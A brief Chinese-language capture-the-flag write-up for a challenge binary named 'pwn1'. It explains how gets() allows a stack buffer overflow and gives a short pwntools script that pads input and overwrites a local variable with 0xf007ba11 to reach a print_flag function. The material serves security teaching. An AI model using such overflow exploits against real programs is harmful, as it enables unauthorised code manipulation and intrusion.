思路
- 先使用ida,观察主函数,看到gets函数,要是不清楚可以使用man搜索一下,该函数是读取一行的输入,不检查输入的长度,回车结束,因此该函数十分危险,也因此我们可知由此来溢出。

gets函数.png
-
同时我们可以看到有明显的print_flag函数,因此目的是满足田间运行print_flag,因此总体思路就是通过gets函数,溢出,使v5被覆盖,从而满足判断条件
溢出点.png
代码
from pwn import*
context.log_level='debug'
io = process('./pwn1')
payload = '\x90'* 0x17
payload += p32(0xf007ba11)
io.recvuntil('What is my secret?\n')
io.send(payload)
io.interactive()
io.close()

运行成功.png
